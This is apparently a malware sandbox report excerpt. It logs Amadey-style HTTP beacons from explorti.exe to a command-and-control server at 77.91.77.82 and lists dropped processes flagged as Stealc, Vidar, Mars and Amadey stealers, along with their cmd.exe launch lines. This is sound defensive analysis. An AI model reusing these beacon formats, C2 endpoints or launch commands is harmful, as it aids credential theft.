Jul 2, 2024 15:28:23.753653049 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:24.446082115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49877	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:24.572722912 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:25.278397083 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49878	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:25.288331985 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:25.990731001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49879	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:26.121296883 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:26.843972921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49880	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:26.852936983 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:27.552028894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49881	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:27.666460991 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:28.382908106 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49882	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:28.392450094 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:29.159663916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49883	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:29.475425959 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:30.188009977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49884	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:30.198442936 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:30.907454967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49885	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:31.024874926 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:31.732012033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49886	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:31.742158890 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:32.432559013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49887	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:32.691826105 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:33.413548946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49888	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:33.423258066 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:34.134999990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49889	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:34.260286093 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:34.964211941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49890	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:34.973536015 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:35.682112932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49891	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:35.809171915 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:36.504621983 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	09:25:57
Start date:	02/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x6c0000
File size:	2'530'304 bytes
MD5 hash:	8369D155DA8C3F7BCEA8490D36F2F114
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1833532825.0000000001B14000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1829921422.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.1829921422.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:26:15
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:26:15
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:26:15
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KJEHDHIEGI.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	09:26:15
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	09:26:15
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe"
Imagebase:	0x790000
File size:	1'945'600 bytes
MD5 hash:	6736102416370F08E14B120D5410FA2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.1853411252.0000000004870000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.1894930528.0000000000791000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:26:20
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0xa60000
File size:	1'945'600 bytes
MD5 hash:	6736102416370F08E14B120D5410FA2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.4113285093.0000000000071000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.1891834270.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:26:21
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x70000
File size:	1'945'600 bytes
MD5 hash:	6736102416370F08E14B120D5410FA2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.1942402729.0000000000071000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.1901602961.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:26:28
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe"
Imagebase:	0x8d0000
File size:	2'530'304 bytes
MD5 hash:	8369D155DA8C3F7BCEA8490D36F2F114
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.1961628481.00000000008D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000C.00000002.1961628481.00000000008D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.1962641348.000000000187E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:27:00
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x70000
File size:	1'945'600 bytes
MD5 hash:	6736102416370F08E14B120D5410FA2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000003.2283607649.0000000004860000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.2323806532.0000000000071000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:28:00
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x70000
File size:	1'945'600 bytes
MD5 hash:	6736102416370F08E14B120D5410FA2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2888618233.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2928820041.0000000000071000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:29:00
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x70000
File size:	1'945'600 bytes
MD5 hash:	6736102416370F08E14B120D5410FA2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.3530405347.0000000000071000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000003.3489729750.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:30:00
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
